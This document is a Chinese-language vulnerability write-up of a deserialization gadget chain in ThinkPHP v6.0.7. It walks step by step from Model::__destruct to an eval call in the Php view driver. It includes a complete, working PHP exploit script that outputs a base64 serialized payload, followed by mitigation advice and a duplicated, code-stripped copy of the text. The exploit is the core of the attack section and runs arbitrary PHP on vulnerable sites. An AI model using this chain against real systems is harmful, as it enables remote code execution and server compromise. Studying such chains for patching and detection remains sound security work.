ThinkPHP v6.0.7 eval反序列化利用链
字数 1216 2025-08-06 08:35:41

ThinkPHP v6.0.7 eval反序列化利用链分析

0x00 前言

本文详细分析ThinkPHP v6.0.7版本中存在的一个eval反序列化利用链,该漏洞允许攻击者在满足特定条件下执行任意PHP代码。

0x01 利用条件

  • 存在一个完全可控的反序列化点
  • 目标系统使用ThinkPHP v6.0.7框架

0x02 环境配置

  1. 使用composer安装ThinkPHP v6.0.7:

    composer create-project topthink/think=6.0.7 tp607
    cd tp607
    php think run
    
  2. 修改入口文件app/controller/Index.php,创建可控反序列化点

0x03 漏洞分析

反序列化入口点

利用链从Model类的__destruct方法开始:

abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable
{
    public function __destruct()
    {
        if ($this->lazySave) {
            $this->save();
        }
    }
}

利用链构造步骤

  1. 触发save方法

    • 设置$this->lazySave = true
    • 使用Pivot类(继承自Model)作为起点
  2. 绕过save方法中的条件检查

    • 设置$this->data = [7](非空数组绕过isEmpty()检查)
    • 设置$this->withEvent = true(绕过trigger('BeforeWrite')检查)
  3. 触发__toString方法

    • db()方法中,通过$this->table . $this->suffix触发字符串拼接
    • 使用Url类作为$this->table的值
  4. Url类的利用

    • 设置$this->url = 'a:'(绕过初始检查)
    • 构造$this->domain为可控字符串
    • 设置$this->routeValidate类实例
  5. 触发__call方法

    • Validate类的__call方法将调用转换为is方法
    • 通过$this->type数组控制最终调用的函数
  6. 最终执行eval

    • 使用Php类的display方法执行eval
    • 构造call_user_func_array([new Php, 'display'], ['<?php phpinfo(); ?>'])

0x04 关键类和方法

  1. Model类

    • __destruct:反序列化入口
    • save:主要执行流程
  2. Url类

    • __toString:触发字符串转换
    • build:处理URL逻辑
  3. Validate类

    • __call:方法重定向
    • is:最终函数调用点
  4. Php类

    • display:包含eval执行点

0x05 EXP构造

<?php
namespace think\model\concern{
    trait Attribute{
        private $data = [7];
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think{
    abstract class Model{
        use model\concern\Attribute;
        private $lazySave;
        protected $withEvent;
        protected $table;
        function __construct($cmd){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->table = new route\Url(new Middleware,new Validate,$cmd);
        }
    }
    class Middleware{
        public $request = 2333;
    }
    class Validate{
        protected $type;
        function __construct(){
             $this->type = [
                "getDomainBind" => [new view\driver\Php,'display']
            ];
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{} 
}

namespace think\route{
    class Url
    {
        protected $url = 'a:';
        protected $domain;
        protected $app;
        protected $route;
        function __construct($app,$route,$cmd){
            $this->domain = $cmd;
            $this->app = $app;
            $this->route = $route;
        }
    }
}

namespace{
    echo base64_encode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>')));
}

0x06 防御建议

  1. 升级ThinkPHP到最新版本
  2. 避免使用不可信的序列化数据
  3. 对用户输入进行严格过滤
  4. 禁用不必要的危险函数(如eval)

0x07 总结

该漏洞利用链通过精心构造的序列化对象,从Model类的析构函数开始,经过多个类的跳转,最终到达Php类的display方法执行eval。整个利用链展示了PHP反序列化漏洞的复杂性和危害性,需要开发者高度重视此类安全问题。

ThinkPHP v6.0.7 eval反序列化利用链分析 0x00 前言 本文详细分析ThinkPHP v6.0.7版本中存在的一个eval反序列化利用链,该漏洞允许攻击者在满足特定条件下执行任意PHP代码。 0x01 利用条件 存在一个完全可控的反序列化点 目标系统使用ThinkPHP v6.0.7框架 0x02 环境配置 使用composer安装ThinkPHP v6.0.7: 修改入口文件 app/controller/Index.php ,创建可控反序列化点 0x03 漏洞分析 反序列化入口点 利用链从 Model 类的 __destruct 方法开始: 利用链构造步骤 触发save方法 : 设置 $this->lazySave = true 使用 Pivot 类(继承自 Model )作为起点 绕过save方法中的条件检查 : 设置 $this->data = [7] (非空数组绕过 isEmpty() 检查) 设置 $this->withEvent = true (绕过 trigger('BeforeWrite') 检查) 触发__ toString方法 : 在 db() 方法中,通过 $this->table . $this->suffix 触发字符串拼接 使用 Url 类作为 $this->table 的值 Url类的利用 : 设置 $this->url = 'a:' (绕过初始检查) 构造 $this->domain 为可控字符串 设置 $this->route 为 Validate 类实例 触发__ call方法 : Validate 类的 __call 方法将调用转换为 is 方法 通过 $this->type 数组控制最终调用的函数 最终执行eval : 使用 Php 类的 display 方法执行eval 构造 call_user_func_array([new Php, 'display'], ['<?php phpinfo(); ?>']) 0x04 关键类和方法 Model类 : __destruct :反序列化入口 save :主要执行流程 Url类 : __toString :触发字符串转换 build :处理URL逻辑 Validate类 : __call :方法重定向 is :最终函数调用点 Php类 : display :包含eval执行点 0x05 EXP构造 0x06 防御建议 升级ThinkPHP到最新版本 避免使用不可信的序列化数据 对用户输入进行严格过滤 禁用不必要的危险函数(如eval) 0x07 总结 该漏洞利用链通过精心构造的序列化对象,从 Model 类的析构函数开始,经过多个类的跳转,最终到达 Php 类的 display 方法执行eval。整个利用链展示了PHP反序列化漏洞的复杂性和危害性,需要开发者高度重视此类安全问题。